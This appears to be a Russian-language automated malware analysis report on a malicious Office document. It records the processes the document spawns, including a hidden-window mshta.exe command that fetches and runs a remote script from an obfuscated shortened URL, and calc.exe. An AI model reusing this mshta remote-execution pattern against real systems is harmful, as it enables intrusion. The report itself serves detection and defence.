Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\ping.exe' 127.0.0.1
- '<SYSTEM32>\mshta.exe' http://12##########91823%12384928198391823@j.mp/hdjksahdkajsdbgmkasghdjkas
- '<SYSTEM32>\calc.exe'
Сетевая активность
UDP
- DNS ASK j.#p
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\ping.exe' 127.0.0.1' (со скрытым окном)
- '<SYSTEM32>\mshta.exe' http://12##########91823%12384928198391823@j.mp/hdjksahdkajsdbgmkasghdjkas' (со скрытым окном)
- '<SYSTEM32>\calc.exe' ' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' /automation -Embedding
